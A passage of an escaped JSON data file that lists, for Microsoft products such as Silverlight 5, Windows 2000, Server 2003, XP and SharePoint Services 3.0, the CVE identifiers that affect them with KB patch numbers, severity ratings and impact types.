Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 Developer Runtime when installed on Microsoft Windows (x64-based)\":[{\"cve\":\"CVE-2015-2433\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows clients\":[{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 Developer Runtime when installed on all supported releases of Microsoft Windows servers\":[{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 when installed on Microsoft Windows (32-bit)\":[{\"cve\":\"CVE-2015-2433\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2455\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2456\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2458\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2459\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2460\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2462\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2463\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-2464\",\"kb\":\"3080333\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows clients\":[{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Silverlight 5 when installed on all supported releases of Microsoft Windows servers\":[{\"cve\":\"CVE-2017-0005\",\"kb\":\"4013867\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows 2000 Service Pack 4\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973354\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981350\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows Server 2003 Service Pack 1\":[{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960082\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows Server 2003 Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973354\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960082\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981350\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-1885\",\"kb\":\"2229593\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3144\",\"kb\":\"2443105\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2418241\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518864\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5065\",\"kb\":\"2914368\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2901110\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4076\",\"kb\":\"2989935\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4971\",\"kb\":\"2993254\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 1\":[{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows Server 2003 for Itanium-based Systems Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981350\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-1885\",\"kb\":\"2229593\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3144\",\"kb\":\"2443105\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416447\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518864\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5065\",\"kb\":\"2914368\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898856\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4076\",\"kb\":\"2989935\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4971\",\"kb\":\"2993254\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Microsoft Windows Server 2003 x64 Edition\":[{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960082\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows Server 2003 x64 Edition Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973507\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-5416\",\"kb\":\"960082\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3023\",\"kb\":\"975254\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3555\",\"kb\":\"980436\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3672\",\"kb\":\"976325\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2009-3676\",\"kb\":\"980232\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0232\",\"kb\":\"977165\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-0249\",\"kb\":\"978207\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0255\",\"kb\":\"982381\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0483\",\"kb\":\"981350\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-0816\",\"kb\":\"978542\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-1885\",\"kb\":\"2229593\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-2549\",\"kb\":\"981957\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-2568\",\"kb\":\"2286198\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3144\",\"kb\":\"2443105\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3147\",\"kb\":\"2423089\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3227\",\"kb\":\"2387149\",\"severity\":\"Moderate\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2360131\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3332\",\"kb\":\"2416447\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2010-3970\",\"kb\":\"2483185\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3971\",\"kb\":\"2482017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-3973\",\"kb\":\"2508272\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2010-4398\",\"kb\":\"2393802\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-4701\",\"kb\":\"2491683\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-0096\",\"kb\":\"2503658\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"},{\"cve\":\"CVE-2011-0654\",\"kb\":\"2511455\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-1271\",\"kb\":\"2518864\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2011-5046\",\"kb\":\"2660465\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1300\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-1347\",\"kb\":\"2847204\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3660\",\"kb\":\"2850851\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-3893\",\"kb\":\"2879017\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5045\",\"kb\":\"2898785\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2013-5065\",\"kb\":\"2914368\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0295\",\"kb\":\"2898856\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-0307\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-0322\",\"kb\":\"2925418\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-1776\",\"kb\":\"2964358\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4076\",\"kb\":\"2989935\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-4113\",\"kb\":\"3000061\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-4971\",\"kb\":\"2993254\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2014-6321\",\"kb\":\"2992611\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2014-6332\",\"kb\":\"3006226\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-0004\",\"kb\":\"3021674\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-0005\",\"kb\":\"3002657\",\"severity\":\"Important\",\"impact\":\"Spoofing\"},{\"cve\":\"CVE-2015-0010\",\"kb\":\"3023562\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2015-1701\",\"kb\":\"3045171\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2015-1722\",\"kb\":\"3057839\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (32-bit version)\":[{\"cve\":\"CVE-2010-0817\",\"kb\":\"983444\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Microsoft Windows SharePoint Services 3.0 Service Pack 1 (64-bit version)\":[{\"cve\":\"CVE-2010-0817\",\"kb\":\"983444\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"}],\"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (32-bit version)\":[{\"cve\":\"CVE-2010-0817\",\"kb\":\"983444\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2345304\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft Windows SharePoint Services 3.0 Service Pack 2 (64-bit version)\":[{\"cve\":\"CVE-2010-0817\",\"kb\":\"983444\",\"severity\":\"Important\",\"impact\":\"Elevation of Privilege\"},{\"cve\":\"CVE-2010-3324\",\"kb\":\"2345304\",\"severity\":\"Important\",\"impact\":\"Information Disclosure\"}],\"Microsoft Windows XP\":[{\"cve\":\"CVE-2017-0143\",\"kb\":\"4012598\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows XP Professional x64 Edition\":[{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4844\",\"kb\":\"960714\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"}],\"Microsoft Windows XP Professional x64 Edition Service Pack 2\":[{\"cve\":\"CVE-2008-0015\",\"kb\":\"973354\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4037\",\"kb\":\"957097\",\"severity\":\"Important\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4114\",\"kb\":\"958687\",\"severity\":\"Critical\",\"impact\":\"Remote Code Execution\"},{\"cve\":\"CVE-2008-4841\",\"kb\":\"923561\",\"severity\":\"Critical\",\"impact\":\"Remote Code 